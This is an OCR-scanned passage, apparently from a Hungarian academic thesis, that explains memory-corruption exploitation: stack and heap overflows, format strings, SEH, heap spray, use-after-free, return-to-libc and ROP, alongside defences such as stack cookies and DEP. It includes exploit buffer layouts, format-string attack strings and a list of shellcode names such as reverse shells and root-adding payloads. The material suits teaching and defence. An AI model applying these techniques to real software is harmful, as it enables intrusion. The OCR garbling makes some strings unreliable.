Tételezziik fel, hogy a funcl metédusnak atadott paraméter 20 byte nagysagu. Ebben az
esetben az strcpy string-masold metddus hivasakor egy 20 byte nagysagl adat méasolodik
be a 10 byte nagysagu helyre. Jelen esetben ez azt fogja jelenteni, hogy a 11.-ik és 12.-ik
adat bekeriil a hasznélaton kiviili helyre, a 13-16. adat feliilirja az elmentett bazispointert
¢s az utols6 4 byte pedig a metodus visszatérési cimét. Amennyiben ez a cim egy nem
hozzatérhetd memoriarészre mutat, vagy az ezen a helyen 1évé adatot a processzor nem
tudja értelmezni, Gigy a program futasa ledll (access violation lizenettel windowson illetve

segmentation fault iizenettel linuxon).

A pelda.c fajlhoz tartozo veremtilcsordulést kiaknazo tamado kodot a 3.4. dbran lathato
modon kell osszedllitani. Az els6 16 byte adat csupan a verem feliilirasara szolgal. A
kovetkezd négy byte a kivant memoria cim, ahova a futast irdnyitja a tdmado kod. A 3.4.
abran ez a cim kozvetleniil a cim utdni részre mutat, tehat valojaban a feliiliras soran a
metodus visszatérési cimére a verem egy cime keriil. A 21.-ik bytetol kezdve a tamado

kodba keriil a tényleges tamadast végrehajté kddsorozat, méas néven a payload.

~

16 byte verem feliiliras | 4 byte payload
Uj cim

3.4. abra Egyszert tAmadé kéd verem tilcsordulashoz

Valgjadban a feliilirt cim helyére az éppen aktualis verem cimet eltalalni korant sem
egyszerti dolog. Egy jol megirt veremttlcsordulds exploitban a visszatérési cim helyére
inkabb egy olyan ténylegesen kodot tartalmaz6é memoriacim keriil, amely automatikusan
visszairdnyitja a program futisat a veremre. Erre a feladatra kivalo egy jmp esp utasitas.

Ez a megoldés azért is szerencsésebb az el6zonél, mert igy a timadod kod a verem aktualis

15



allapotatol teljesen fiiggetlen, a tamado kod barmely veremcimen lehet. Tovabb noveli a
tamado kod sikeres lefutasanak esélyét, ha a payload és a jmp esp cime kozé egy
ugynevezett nopsled szakaszt helyeziink. A nopsled egybyte-os nop (no operation)
utasitasok sorozata. Ezzel a megoldassal a veremre iranyitott ugrasnak biztonsagi tartaléka

is van, mivel a jmp esp a nopsleden beliil barhova érkezhet, a teljes payload hibatlanul le

fog futni (3.5. abra).

16 byte verem | 4 byte nop sled payload
feliiliras Uj cim

3.5. abra Tamado kod verem tilcsordulashoz nop sleddel

A tdmado kod legfontosabb része a payload. A payload kiilonboz6 tamado feladatokat
lathat el, mint pl. parancssort nyithat, kinyithat egy portot, vagy akar egy tetszéleges
masik programot is elindithat. A "proof of concept" jellegli timadd kodoknal mindezek
miatt a tAmadas sikerességét altaldban ugy szemléltetik, hogy a tdmado kod megnyit egy
kalkulatort az operacios rendszeren. Ezekben az esetekben nincs sziikség tényleges
tamado tevékenységre, mivel ha a szoftver rakényszerithetd a kalkulator megnyitasara,
akkor barmely mas feladatot is végrehajthat. Tényleges egyszerti timado kodok kdnnyen
beszerezhetok a tamadasokhoz. Szdmos weboldal operacidés rendszerenként ¢&s
funkcioként rendezve publikalja payloadjait. Az egyik legkivalobb ezek koziil a shell-
storm gylijteménye [19] (3.6. 4bra).

Intel xB6-64
« Linux/x86-64 - Add map in fetc/hosts file - 110 byies by Osanda Malith Jayathissa
« Linux/x86-64 - Connect Back Shelicode - 139 byies by MadMouse
» Linux/x86-64 - access() Egahunter - 49 bytes by Doretf. Z10
« Linux/x86-64 - Shutdown - 64 bytes by Keyman
« Linux/xB6-64 - Read password - 105 byies by Keyman
« Linux/x86-64 - Password Protected Reverse Shell - 136 bytes by Keyman
« Linux/x86-64 - Password Protected Bind Shell - 147 bytes by Keyman
« Linux/x86-64 - Add root - Polymaorphic - 273 byies by Keyman
« Linux/x86-64 - Bind TCP stager with egghunier - 157 bytes by Christophe G
« Linux/x86-64 - Add user and password with open, write close - 358 bytes by Christophe G
« Linux/xB6-64 - Add user and password with echo cmd - 273 byies by Ghristophe G
= Linux/x86-64 - Read /etc/passwd - 82 bytes by Mr.Un1k0d3r

3.6.abra Részlet a shell storm shellcode gy(ijteményébdl [19]
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Mindezek segitségével a tdmadas Osszeallitasahoz minddsszesen az aldbbiak kellenek: meg
kell hatdrozni a verem feliilirdshoz sziikséges adatmennyiséget, a visszatérési cimet meg kell
valasztani megfelelden ¢és végezetiil egy payloadot keresni €s hozzaflizni a tamado
kodsorozathoz. A verem talcsordulas a 90-es évek Ota ismert technoldgia, ezért szamos

védekezést dolgoztak ki ellene.

A klasszikus stack overflow-val kapcsolatos kutatasok a jelenleg érvényben 1évé védekezési
technikak miatt kevésbé népszeriiek. Az aktudlis kutatdsok foként a detektalhatosaggal
kapcsolatosak [22], illetve a stack overflow valamely tovabbfejlesztett valtozataval

foglalkoznak inkébb.

3.2. Halom tulcsordulas

A halom talcsordulés (heap overflow) a tilcsordulasos memoriakorrupcios hibdk egy gyakori
példaja, amely a heap szegmensben jon létre [23] [24]. A halomban a szoftver foként a
dinamikusan valtoz6 adatokat tarolja, ugynevezett chunk-okban. A chunk egy nagyobb
memoriaszelet, méretlik valtozd. A heapnek folyamatosan tarolnia kell a rendelkezésre allo
szabad helyeket, azért hogy a memoriafoglaldsokat meg tudja valdsitani. A rendelkezésre allo
szabad chunkok lancolt listas szerkezetben tarolédnak, olyan modon, hogy az azonos méretii
chunkok vannak 0Osszeflizve, igy kiilon lancolt listdja van a 8 byte nagysagu szabad
helyeknek, a 16 byte nagysaguaknak és igy tovabb 8 byteonként egészen 127*8 byte- ig. Az e
feletti szabad helyek mérettdl fiiggetleniil egy listdban tarolodnak. Ez a fajta szabad hely

nyilvantartas rendkiviili médon meggyorsitja a memoria allokéciot a heapben.

Méret El6z6 méret
Sz:_agmens Flag-ek Haszn'él_gton Index
index kival
Flink
Blink

3.7. abra Egy heap chunk szerkezete a szabadlistaban [23]
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Bejegyzésl Bejegyzés2 Bejegyzés3

FLINK FLINK FLINK

A
A

BLINK

A4

BLINK > BLINK

3.8. abra Szabadlistak 6sszeflizése kétszeres lancolt listakkal [23]

Tovabbi hatékony megvalositast jelent a lookaside lista, amely egyszeres lancolt listaba flizi a
szabad helyeket. Ezen listak jelentosége talmutat a dolgozat témajan, mivel a halom
tulcsordulas esetén a kétszeresen lancolt listaban tarolt szabadlistdk altal jon 1étre a memoria
korrupci6. A 3.7 abra egy darab chunk szerkezetét mutatja a szabad listdban, a 3.8. abra pedig

az azonos méretl szabadlistak 0sszefuizését szemlélteti.

A halom tulcsordulds soran egy hasznalt memoriarészt ir feliil a szoftver, amely altal beleir
valamely szabadlistaban szereplé chunk headerjébe. Egy célzott tdmadassal a timado képes
tehat modositani valamely szabadlista headerjének Flink és Blink adatat. Ennek jelentOsége a
szabadlista egy elemének kivételekor érzékelhetd. Abban az esetben, ha egy adott méret
foglaldsakor a megfeleld kétszeresen lancolt lista valamely elemét el akarja tavolitani az
operacid rendszer, akkor a kdvetkezd szabad elem Blink mutatdjat az el6z6 elemre, az el6zd

szabad elem Flink mutatojat a kovetkez6 elemre kell allitania. Ennek menete az alabbi:

Bejegyzés2—BLINK—FLINK = Bejegyzés2—FLINK
Bejegyzés2—FLINK—BLINK = Bejegyzés2—BLINK

Mivel a tamado6 at tudja irni az adott chunk Blink elemét, ezért egy olyan helyre tudja
iranyitani azt, amely helyen szintén 0 hatdrozza meg az adatokat, tehat valdjdban be tudja
allitani a Blink->Flink értéket. Ugyanigy 4t tudja irni az adott chunk Flink elemét, ezért egy
tetszOleges memoriahelyre egy tetszéleges értéket tud irni. Mindez azt jelenti, hogy el tudja
tériteni a program futdsat egy sajat helyre, ahova elézdleg tamado kodot helyezhetett. Az
eltéritésnek szdmos modja lehet: a veremtilcsorduldshoz hasonldan a tamado atirhat egy
metddus visszatérési cimet a veremben, atirhat egy jump utasitast a kddszegmensben vagy

akar atirhat egy kivételkezelési cimet is.
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A heap overflow-val kapcsolatos kutatdsok napjainkban foként egy-egy hibakihasznaldsra

fokuszalnak [26].

3.3. Egyéb memoria korrupciok

A klasszikus példakon til a memoria korrupcidnak szamos egyéb fajtaja létezik. Ebben az
alfejezetben ezekb6l mutatom be a fontosabbakat. Egy gyakran elkovetett szoftverhiba

eredménye a format string sériilékenység [27], [28].

A format string sériilékenység oka a printf metddus rossz hasznalta. A printf metodus egy
formazott stringet jelenit meg, ezért hasznalata nagyon gyakori parancssoros programokban.
A metddus egy string bemeneti paramétert var, ugyanakkor lehetdség van ugynevezett

formazo karaktereket is elhelyezni a stringben.
printf("Az elso érték %d, a masodik szo: %s", 16, "valami");

Amennyiben egy formazo karakter szerepel a bemeneti stringben, gy az alkalmazas a string
utani valtozok aktudlis értékét helyettesiti be az adott helyre. Ennek megvaldsitasa
technikailag ugy torténik, hogy a behelyettesitendd értékeket a folyamat a stackre helyezi a
megfeleld sorrendben, igy a metdodusnak ezeket csak fel kell vennie egymas utdn. A
printf("%s",a) metddushivasra példaul az a-val jeldlt string memoriacime a stackre kertl, a
printf innen veszi fel a stringet €s irja ki azt a stringet lezard nullbyte-ig. A printf helytelen
hasznélata esetén is ez torténik. Ha lemarad a valtozé a metddushivasbol (pl.: printf("%s")),
ugy a program felveszi a stackrdl a soron kovetkezd cimet és az adott cimen keresi a stringet,
bar ebben az esetben a stacken 1év0 soron kovetkezd cim teljesen mas okbdl keriilt oda.
Amennyiben a szoftver egy ellendrzés nélkiili stringgel hivja meg a printf-et (pl. printf(s) ),
ugy a tamadé az s valtozdban egy formdzo karakter segitségével nem kivant miikddésre
birhatja a programot. Legegyszerlibb eset az, amikor az s-be egy %s kertil, de a stacken 1évo
soron kovetkezd cim nem valods, ez esetben a program futdsa leall, mivel egy nem létezo

cimrdl probalt adatot olvasni a program.

A kovetkez0 utasitas a stacken soron kovetkezo 5 értéket jeleniti meg 8 szamjeggyel:
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printf ("%08x %08x %08x %08x %608x\n");

A fenti esetben a folyamat a %x hatasara hexadecimalis szamokat keres. Mivel azonban nem
keriilt ilyen a stackre kozvetleniil (a metodushivasban nincsenek valtozok), ezért a stacken
egyébkeént is ott 1évo cimeket fogja megjeleniteni. A formazo karakterekkel valo triikkkozéssel
egy tetszOleges helyen 1évé cim is megjelenithetd. Ez az alabbi modon torténhet: elészor
elhelyezziik a kivant cimet a stacken az értékkel és a hozzd tartozd %x hexadecimalis
formazokarakterrel, ezutan pedig egy %s formazo karaktert tesziink. Ez a kombinéacid arra
készteti a printf metddust, hogy a %s-nél vegye fel a stackrdl a cimet (ez lesz a bedllitott

memoriacimiink) és innen olvassa ki az adatot:

printf ("x10x01\x48\x08 %x %ox %ox Yox %os");

A fenti megoldas hasznos lehet pl. a cimtér randomizédlds (3.9. fejezet) eltolasanak
megallapitdsdra. A forméazo karakterek segitségével nem csak olvasni tudunk adott cimrdl,
hanem irni is. Az el6z0 példaban a %s-t %n-re cserélve a megadott cimrdl nem olvasni fog a

printf hanem irni. Az érték, amit ir az megegyezik az addig kiirt karakterek szamaval.

printf ("x10\x01\x48\x08 %x %ox %x %ox %n");

Amennyiben egy hosszii dummy stringeket irunk a %x%x%x%x%n formazo string elé, ugy a
kiirt érték is szabdlyozhat6. Ezzel a modszerrel gyakorlatilag tetszdleges érték irhato
tetszoleges helyre, amely egy jol miikodd memoriakorrupcidhoz elégséges feltétel. A
megvalodsitas tehat ugy torténik, hogy a memoriaba irandd értéknek megfelel6 dummy string
részlet szerepel a metddushivas paraméterének elején, eztdn jon a memoriacim, ezutan pedig a
Yox%ox%ox%ox%n formazokarakter. A moddszernek vannak korldtai a dummy string altal
szabalyozhato érték miatt, de ettdl eltekintve ez ugyanazt az esetet jelenti, amelyet a heap

tulcsordulasnal bemutattam: tetszéleges helyre tetszéleges érték irasa.

Szintén gyakori memoriakorrupcios kiaknazasi modszer a kivételkezelés hibajanak
kiaknazasa. A strukturdlt kivételkezeld [29] a modern operacids rendszereknél alapvetd
fontossagi. Amennyiben egy program nem tud egy feladatot végrehajtani, ugy kivétel
valtodik ki, igy ahelyett hogy az adott folyamat leallna a programvégrehajtas a kivételkezeld
utasitdsokkal folytatodik. A kivételeket ugynevezett fry catch blokkokba irjdk, de ha a
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szoftverfejlesztd nem gondoskodik kivételkezeld kodrol egy adott résznél és a végrehajtas
akadalyba iitkozik, ugy az operacids rendszer a sajat kivételkezelését bocsajtja rendelkezésre
az alkalmazds szdmara. Windows operacios rendszeren a kivételkezelok lancolt listdkban

vannak Osszeflizve. A lista végén a windows API kivételkezeldje talalhato.

Egy kivételkezel6 rekord tartalmazza az adott kivételkezeld utasitassorozat cimét valamint a
kovetkezd kivételkezeld rekord cimét. A kivételt a folyamat el6szor probalja lekezelni az els6
kivételkezeld utasitassorozattal, amennyiben a kivételkezeld flagek ezt engedik. Ha ez nem
teljestil, akkor a lancolt lista kovetkezd elemére ugrik, és itt probalja meg kezelni a kivételt. A
lista végén a windows api kivételkezeldje all, a lista végét a kdvetkezd cimként szerepld ffffffff

jelez (3.9 ébra).
ALBANE

3.9. abra Stack frame kivételkezeld blokkal [29]

Memoria korrupcidé szempontjabol csak egy darab rekordnak van szerepe. A 3.9. abra egy
kivételkezeld rekorddal ellatott stack framet mutat be. A lokalis valtozok talirdsaval a
kovetkezd kivételkezeld rekordra mutatd cimet €s az elsé kivételkezeld utasitassorozat cimét
is feliil lehet irni. Igy tehat ha az elsé kivételkezeld utasitissorozat cimét tetszélegesen atirjuk
a kivant cimre, ugy ugyanazt a hatést érjiik el, mint egy hagyomanyos puffer-tilcsordulésnal.
A két eset kozott annyi kiilonbség van, hogy a kivételkezelés kiaknazasanal az alkalmazést
még kivételre is kell futtatni. Ehhez gyakran az is elég, ha a verembe keriilé6 adatok

mennyisége tul sok.

Egy kivételkezeléssel kapcsolatos kiaknazas a gyakorlatban ugy torténik, hogy a kovetkezd
kivételkezeld rekord cimének helyére egy tigynevezett short jump utasitas keriil (épp akkora
hogy atugorja a kivételkezeld kod cimét), a kivételkezeld kod cimének helyére pedig egy a

kodszegmensben szerepld pop pop ret kodrészlet cime keriil. Igy a kivétel kivaltodasakor
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el0szor lefut a pop pop ret utasitas sorozat és mivel a kdvetkezd rekord cime az aktudlis
veremmutatotol 8 byte-nyira van ezért a két darab pop utasitasnak koszonhetden a ret utasitas
a short jumpra adja a vezérlést. Igy végrehajtodik a kivételkezelé kod cime utani

utasitassorozat (3.10. abra).

SEH Exploit puffer

.
A

Fellliras Imp pop + pop +ret shellcode
(Kovetkezd SEH) (SEH)

3.10. abra SEH exploit [29]

.....

akkor hasznos, amikor a tdmadonak lehetdsége van a heapbe irni nagy mennyiségli adatot.
Erre tipikus példa pl. egy bongészd, amikor a tdmadd sajat html fajlt hozhat 1étre. Mivel a
html fajlokban a javascriptek megengedettek, ezért a tamado valtozokat és tomboket
deklaralhat, amelyek a bongészd folyamatdnak heapjében lesznek tarolva. Amennyiben a
tamado olyan javascript ciklust készit, amely egy hatalmas nagysagl tombét tolt fel tdmado
kédsorozattal, akkor ezek a heap kiilonbozd részein lesznek jelen, a tdmadd szétszorta az
tamado kodsorozatokat a heapben. A tamadas kivitelezéséhez a kodvégrehajtast a heap egy
tetszOleges részére kell irdnyitani és mivel a tamado kod elarasztotta a heapet, ezért a
tetszOleges hely jo eséllyel betaldl valamelyik tamadé kod példanyra. A heap spray

részletesebb bemutatasat az 5.-ik fejezetben teszem meg.

A heap sprayt elészeretettel alkalmazzak pl. use after free [31] tipusu hibak kiaknazasahoz.
Ennél a hibanal a szoftver egy mar felszabaditott valtozot akar hasznalni. Virtualis metddusok
esetén a metodusok cimei egy tablaban tarolddnak. A tdmadas soran a tdmado 1étrehozza a tul
hamar felszabaditott objektumot majd felszabadittatja azt. Ezutan sajat tdimadd objektumokat
helyez el a heapben heap spray technikéval. Végezetiil a szoftverhibat kihasznélva elinditja a
mar felszabaditott objektum metddusat, amely jo eséllyel mar feliil lett irva a sajat timado
objektummal a heap sparay-nek koszénhetéen. Igy a tamado elérte a sajat timado kodjanak a

lefutasat.
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Ugyancsak emlitésre méltdé még az objektumok kétszeres felszabaditdsa miatti double free
hiba [32]. Ebben az esetben egy objektumot kétszer szabadit fel az operacios rendszer egy
szoftverhiba miatt. A hibat az alabbi mddon lehet kiaknazni: A tamadonak el kell érnie, hogy
a memoriablokk az elsé felszabaditas utdn a heap lookaside listdjaba, a masodszori
felszabaditas utan pedig a kétszeresen lancolt szabad listaba keriiljon. Amennyiben ez teljesiil,
ugy lesz egy olyan memoria rész, amely két helyen is szerepel a heapben. Amennyiben az
adott memoriarész jra lefoglalasra keriil (ez a lookaside listabol fog torténni, mivel elészor
itt keresi a szabad részeket az operacids rendszer), akkor a tdmadd tud olyan adatot ide
helyezni, amellyel a szabadlistas rész mutat6it atallitja. Ezek utan elegendd a szabadlistas
részt ujra lefoglalni, mert igy a halom talcsorduldsnal bemutatott médon a szabadlista adott
elemének kilancolasaval tetszéleges memoriacimre irhato lesz tetszdleges adat. Ennek pedig
az lesz a kovetkezménye, hogy barmely metddus visszatérési cim feliilirhaté lesz a tdmado

kéd cimére.

A memoria korrupciés hiba és annak kiaknazasa lehet teljesen egyedi. Rendkiviil nagy
jelentéségli volt pl. az Internet Explorer azon hibaja (CVE-2014-6332 [33]), amely sordn a
tamado egy powershell utasitast tudott a rendszerrel végrehajtani. A powershell utasitas egy
VbScript metddusbdl lett elinditva a hiba proof of concept exploitjdban. Internet Explorer
esetén a VBScript végrehajtas "sandboxolva" van. Mindez azt jelenti, hogy az Explorer nem
indithatja el azt. A memoriakorrupcids hiba publikdlasakor megmutattak, hogy egy byte adat
atirasaval (ellendrizetlen toOmbméret miatt) az Explorer sandboxoldsa egyszeriien
kikapcsolhato, igy gyakorlatilag tavolrdl tetszéleges VbScript makrot tud futtatni a tdmado a
bongészon keresztiil. Ez a fajta kiaknazas ugynevezett "goodmode"-ba kapcsolja az Explorert
¢s teljesen egyedi kiaknazasnak szamit. Mindezek figyelembevételével leszogezhetd, hogy a
memoria korrupeid nagyon Osszetett €s sokrétli, valamint barmikor napvilagra keriilhetnek

teljesen specialis esetek is.

A kovetkezd alfejezetekben a memoriakorrupcid elleni védekezéseket €s ujabb modernebb

kiaknézasi tipusokat mutatok be.
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3.4. Stack cookie, heap cookie

A veremtulcsordulds ellen kidolgozott stack cookie [34] modszer a metddus visszatérési
cimének feliilirasat ellendrzi. A mddszer Iényege, hogy minden egyes stack frame-be bekeriil
egy az alkalmazas inditasakor véletlenszertien kivalasztott érték. A metddushivas sordn a
metodus stack framejének felépitésekor az alkalmazas a lokalis valtozok ¢és a metddus
visszatérési cime koz¢é helyezi a véletlenszertien kivalasztott értéket. A stackframe-ben igy az

alabbi értékek lesznek elhelyezve a kdvetkezd sorrendben:

visszatérési cim
elmentett bazis pointer
stack cookie

lokalis valtozok

A metodus stack frame-jében szerepld lokalis valtozok feliilirasaval el6szor igy a stack cookie
értéke irodik feliil. A metddus epilogus soran a visszatérés el6tt az alkalmazas ellendrzi, hogy
a stack cookie értéke megvaltozott-e. Amennyiben igen, gy nem tér vissza a frame-ben

szerepld cimre, hanem leallitja a program futésat.

Ez a moddszer elég hatékonyan miikddik a metddus visszatérési cim feliilirdsanak
detektalasara, ugyanakkor ez sem jelent tokéletes megoldast. Vannak megoldasok [35]
amelyekkel ez a védekezés is megkeriilhetd, pl. ha a timad¢ kitalalja a stack cookie értékét és
visszairja a lokalis valtozok feliilirasaval egyiitt, vagy ha a kivételkezelés feliilirasaval a stack
cookie megvaltozadsanak detektdlasaval egyiitt is képes a sajat kodjat futtatni. Tovabbi
problémat jelent, hogy a stack cookie hasznalata rendkiviil er6forras igényes. Minden egyes
metodushivas soran le kell kérdezni kétszer a véletlenszerien kivalasztott értéket (a stack
framebe helyezéskor és a végsd Osszehasonlitaskor) valamint az sszehasonlitas is lassitja a
program mukodését. Mindezek miatt a stack cookie hasznalatat optimalizalni szoktak. A
Visual Studio forditdja [36] a /GS flaggel helyez stack cookie-kat az alkalmazasba olyan
modon, hogy csak akkor keriil be a stack cookie a stack framebe, amennyiben a metddus
string bufferet tartalmaz és annak hossza nagyobb, mint 5 byte. Volt mar ra példa, hogy ez a

modszer nem jelentet megfeleld védelmet [37].
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A heap védelmének érdekében az operacios rendszer a heap cookie-val védekezik. A szabad
lista egy elemének kilinkelésekor pl. ellendrizheti, hogy a kovetkezd elem elézé elemre
mutatd értéke megegyezik-e az el6z6 elem kovetkezd elemre mutatd értékével és ugyanezt

forditva is.

Bejegyzés2—BLINK—FLINK = Bejegyzés2—FLINK—BLINK
Bejegyzés2—FLINK—BLINK = Bejegyzés2—BLINK—FLINK

Amennyiben ez a feltétel nem teljesiil, ugy az adott blokk értékei feliil lettek irva, igy az elem
kilinkelése sem biztonsagos. Ez a megoldas az ellendrzés nélkiili kilinkelésnél mindenképpen
biztonsagosabb, ugyanakkor ramutattak mar, hogy ez a megoldas se jelent tokéletes védelmet

[38].

3.5. Adatvégrehajtas elleni védelem (DEP)

Az adatvégrehajtas elleni védelem vagy angol nevén Data Execution Prevention [39] [40]
otlete a 2000-es évek elejébdl szarmazik. A linux kernelekben 2004 o6ta, a Windows-os
operacios rendszerekben az XP SP2 6ta van eldszor jelen, késébb 2006-tol az 10S is atvette a
technikat. A védelmi megoldés alapotlete abbol a megfigyelésbdl szarmazik, hogy a korai
memoriakorrupcids kiaknazasok soran a tdmadd kod a stack egy feliilirt részére (stack
overflow) vagy a heap egy feliilirt részére (heap overflow) keriilt. Ezekben az esetekben a
tamado kod adatként kertilt elhelyezésre a memoridban, de a korrupcid miatt a processzor
mégis kodnak értelmezte azt. Nyilvanvaloan nem lehet azt megakadalyozni és a szoftverek
alapvetd miikodését tenné tonkre, ha a felhaszndld nem tdrolhatna kozvetlen vagy kozvetett
modon adatokat a memoridban. Mivel azonban a virtudlis memoria szegmensekre oszlik, igy
annak elvben nincs akadalya, hogy az egyes memoriaszegmensekre mas jogosultsagok
vonatkozzanak. Az adatvégrehajtas elleni védelem esetén az adatszegmenseknek csak irasi és
olvasési jogosultsaguk lesz, végrehajtasi jogot viszont nem kapnak. Ezzel a védekezéssel az
el6zéekben bemutatott stack és heap overflow hasznalhatatlannd vélik, mivel mindketténél
adatrészen torténne a kodvégrehajtas. A korrupcié kiaknazdsat az is gazolja, hogy a
végrehajthato kodrészek ezzel szemben csak végrehajtasi €s olvasasi jogot kapnak. Feliilirni a
kodszegmens részeket ezért nem lehet, igy a tdmadd kod ide se helyezhetd el. Ezzel a

megkdtéssel minden egyéb memoriakorrupcié kiakndzdsa elvben lehetetlenné valik
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(legalabbis a megalkotaskor ezt hitték), mivel pl. egy format string hibanal sem lesz lehet0ség
a kodot atirva pl. egy kodrészt atugrani. Ezen tulajdonsdgok miatt ezt a védekezési technikat
gyakran W (write) xor X (execute) néven is emlegetik, mivel egy memoriaszegmensek vagy

irasi, vagy végrehajtasi joga van, de a kettd kizarja egymast.

Az adatvégrehajtasi vagy mas néven memorialap futdsvédelem kezdetben kizarolag szoftveres
modon valdsitottak meg, de a védekezés hatékonysdga és a széleskorli elterjedése miatt a
processzorgyartok specialis architektaraval kezdték tdmogatni hardwaresen is ezt (pl. Intel

NX bit).

A DEP-pel kapcsolatos beallitasok kiilonbozdek lehetnek, a windows megkiilonbozteti az
alabbi eseteket: Optln, OptOut, Alwaysin, AlwaysOut, annak fiiggvényében, hogy milyen
DEP szabalyokat kényszerit az operacidés rendszer a folyamatokra. Amennyiben akar egy
szegmensre nincs érvényben a DEP az a teljes folyamat védelmét veszélyeztetheti. Szintén
problémas lehet a DEP-nek a tdmadas legelején torténd kikapcsolasa. Mivel a DEP
mindennapos részévé valt a modern operacios rendszereknek, ezért ennek megkertilése vagy
kikapcsolasa kulcskérdéssé valt a tdmadasokhoz. A DEP megkeriilésére a kovetkezo

alfejezetben és a késdbbi fejezetekben fogok részletesebben kitérni.

3.6. Return to Libc

A return to libc [41] az els6 olyan komolyabb tdmadasi probalkozas, amely a DEP védelmet
képes egyszeriien megkeriilni. A DEP védelem kitaldlasakor foként arra épitettek, hogy a
DEP bevezetésével a tamadé nem tud tdmadd kodot elhelyezni végrehajthato
memoriateriileten és ugyan meg tudja ezt tenni az adatszegmenseken, de ott azt nem tudja
végrehajtatni. A return to libc tdmadas alapétlete az, hogy a tdmaddnak nem feltétlentil van
sziiksége sajat tamado kodot elhelyezni, mivel pl. egy visszatérési cim feliilirds arra is
elegendd, hogy egy a virtudlis memoridban megtalalhatd tetszéleges metodus lefusson (libe

metodus).
Itt tehat a stack overflowon alapuld kihasznalassal szemben a feliilirt metédus visszatérési

cime helyére nem egy stackre visszairanyito utasitas cime kertl (pl. jmp esp), hanem egy jol

hasznéalhat6 metodus cime (pl. execve linuxon vagy WinExec windowson), majd a metodus
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paraméterei, azért hogy az adott metddus a megfelelé paraméterekkel lefusson. A WinExec
metodus egyszeri meghivasa tokéletesen elegendd arra, hogy egy 0 folyamatot elinditson a

tamado. Ehhez a stacknek az alabbi formaban kell kinéznie a feliliras utan:

WinExec cime (ez a feliilirt visszatérési cim)
WinExec elsé paramétere (mutato a futtatni kivant parancs c stilusu string leirasara)

WinExec masodik paramétere (a futtatas modja: normdl, rejtett, stb)

Ezzel a modszerrel sajat végrehajtando kod elhelyezése nélkiil is tud a tamado egy darab
belinkelt konyvtari metodust elinditani. A tdmadds sordn a stackre csak a futtatni kivant
metddus cime és paraméterei keriilnek, igy ez a DEP védelmet teljes egészében kikeriili. A
modszer korlatai ugyanakkor elég nagyok, ugyanis csak a rendelkezésre all6 metodusokbol
valaszthat a tdmadoé €s azok koziil is csupan egyet tud végrehajttatni. Mindezek miatt a return

to libc tdmadas tipus igy nem Turing teljes.

3.7. Return Oriented Programming (ROP)

A Return Oriented Programming [42] [43] [44] tamadas a return to libc mddszer tovabb
fejlesztése, melyet 2007-ben alkottak meg. A mddszer kiindulési alapja hasonlé a return to
libc tamadéshoz, ugyanis egyik f6 célja az, hogy a tdmadast sajat tamado kod elhelyezése
nélkil lehessen végrehajtani (kod-ujrafelhasznéalas). Hasonléan a return to libc-hez, erre az
adatvégrehajtasi védelem (DEP) miatt van sziikkség. A ROP modszer ugyanakkor igyekszik a
return to libc legnagyobb hib4jat kijavitani, a csupdn egy darab libc metddus
végrehajthatosagat. A ROP mddszer a return to libc tAmadashoz képest az alabbi két tobblet
lehetdséget hasznalja ki:

e a visszatérési cim nem csupan egy libc metédus kezddcime lehet, helyette barmely
metodus belsejébe, s6t barmely végrehajthatd memoriarész tetszéleges helyére
iranyithatdo a memoriakorrupcio soran feliilirt metddus visszatérése

e amennyiben a kodvégrehajtas egy olyan helyre keriil, amely helyen néhany sziikséges
€s hasznos utasitds utdn egy ret assembly utasitas kovetkezik (ilyen van pl. a
metddusok végén), ugy a stacken tobb visszatérési cim is elhelyezhetd, mert a ret

utasitasok miatt ezek egymas utan le fognak futni
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A return to libc-hez hasonloan a stacken paraméterek is elhelyezhetdk, amelyeket a kodrészlet
- amelyre a végrehajtas lett irAnyitva - verem miiveletekkel felvehet. Osszességében tehdt egy

ROP program a stackre torténd elhelyezése és formaja az alabbi:

visszaterési cim
parameéterek (opcionalis)
visszatéereési cim

paraméterek (opciondalis)

visszatéereési cim

parameéterek (opcionalis)

A tamado kod eldallitdsa szempontjabol a ROP moddszer az alabbi dolgot jelenti: A tdmado
kod assembly utasitdsok sorozatat tartalmazza:

utasitasl utasitas?2 ... utasitas n

A tamadonak olyan kodrészleteket kell keresnie a memoridban (igynevezett kacatokat vagy
angol nevén gadgeteket) amelyek megfelelnek a tdmado kod egyes utasitdsainak és utdnuk
kozvetleniil egy ret utasitas szerepel, azért hogy a kovetkezd utasitas is végre legyen hajtva.
Amennyiben a tdmadd a tamadéas minden utasitdsahoz taldl gadgetet a memoriaban, ugy a

stackre elhelyezi azok cimét a megfeleld sorrendben:

gadget [ cime (az itt talalhato kod: utasitasl + ret)
gadget 2 cime (az itt talalhato kod: utasitas2 + ret)

gadget 2 cime (az itt talalhato kod: utasitasn + ret)

Egy gadget tobb utasitast is tartalmazhat, pl: utasitask + utasitds k+1 + ret, illetve ezek az
utasitds lehetnek akar veremmiiveletek is. Egy adat betoltése a tdmadd koédhoz a
legegyszeriibben ugy torténhet, hogy a tdmado egy pop regiszter + ret utasitiskombinaciot

keres a memoridban és a stackre ennek a cime utan a betdlteni kivant értéket helyezi.

A ROP bizonyitottan képes adatok betoltésére €s tarolasara, utasitds szekvencidk egymas

utani végrehajtasara, elagazasok és ciklusok végrehajtasara. Mindezek miatt a ROP Turing
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teljes, igy elméletben tetszdleges tdmadas végrehajthatd vele. A gyakorlatban azonban két
probléméval is szembesiil a tdmado: egyrészt a rendelkezésre 4all6 gadgetek erdsen
befolyasoljak a ROP programok megirhatdsagat (pl. mi torténik, ha nem szerepel sehol egy x
utasitas + ret utasitdsok kombinacidja a memoridban), masrészt a rendelkezésre allo hely a

memoriakorrupcid helyén a ROP payload hosszat is korlatozhatja.

A ROP hatékonysaga miatt nem csak x86-ra készitették el, hanem szinte az Osszes
architektarara megalkottak. Ugyanezen okok miatt a ROP elleni védekezés kiemelt
fontossagu, mind kutatasi, mind gyakorlati szempontbol. Szdmos javaslat sziiletett mar a ROP
tamadasok megakadalyozasara. Sziilettek olyan javaslatok, amelyek egyenesen a ret utasitas
nélkiili konyvtarak megalkotasat céloztdk meg az operacids rendszerek szdmara [50], egyes
megoldasok szigoru visszatérési cim ellendrzést siirgetnek (return address checker), de
vannak megoldasok, amelyek a tal gyakori ret végrehajtas alapjan probaljak kisziirni a ROP-
on alapul6 payload végrehajtast. Napjainkban a DEP védekezés alapszolgaltatasként meglévo
jelenléte miatt a ROP egy rendkiviil népszerti és hatékony szoftverhiba kiaknazasi technika. A
gyakorlati védekezések szempontjabol a Windows EMET [14] egy viszonylag 0j védekezés,
amely elvben képes a ROP payload kisziirésére. A gyakorlatban az EMET megjelenése utan
